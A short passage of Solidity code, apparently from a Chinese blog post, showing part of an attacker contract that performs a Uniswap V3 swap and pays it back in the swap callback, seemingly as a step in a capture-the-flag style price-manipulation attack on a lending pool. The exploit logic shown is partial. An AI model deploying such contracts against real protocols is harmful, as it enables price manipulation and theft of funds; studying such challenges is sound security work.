uniswapPool = _uniswapPool; token = _token; lendingPool = _lendingPool; weth = _weth; player = _player; } function attack(int256 amount) external { uniswapPool.swap(player, true, amount, TickMath.MIN_SQRT_RATIO + 1, ""); } function uniswapV3SwapCallback(int256 amount0, int256 amount1, bytes memory) external { if (amount0 > 0) { token.transfer(address(uniswapPool), uint256(amount0)); } if (amount1 > 0) { weth.transfer(address(uniswapPool), uint256(amount1)); } } }
2025年09月07日
2 阅读
0 评论
1 点赞
1
2
...
7